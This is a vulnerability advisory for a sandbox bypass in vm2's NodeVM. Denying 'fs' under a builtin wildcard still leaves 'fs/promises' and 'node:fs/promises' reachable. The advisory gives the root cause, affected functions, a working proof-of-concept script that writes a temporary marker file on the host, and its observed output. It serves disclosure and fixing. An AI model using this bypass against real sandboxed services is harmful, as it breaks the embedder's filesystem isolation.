CVE-2026-92958

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

• lib/builtin.js
  • DANGEROUS_BUILTINS
  • BUILTIN_MODULES
  • makeBuiltinsFromLegacyOptions
  • addDefaultBuiltin
• lib/resolver.js
  • Resolver.resolve
  • Resolver.loadBuiltinModule
• lib/setup-node-sandbox.js
  • requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

• require('node:fs/promises') also loads and can write the proof file.
• Adding -fs/promises blocks require('fs/promises').
• Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

• fs
• fs/promises
• node:fs
• node:fs/promises

Negative entries with and without node: should be normalized consistently.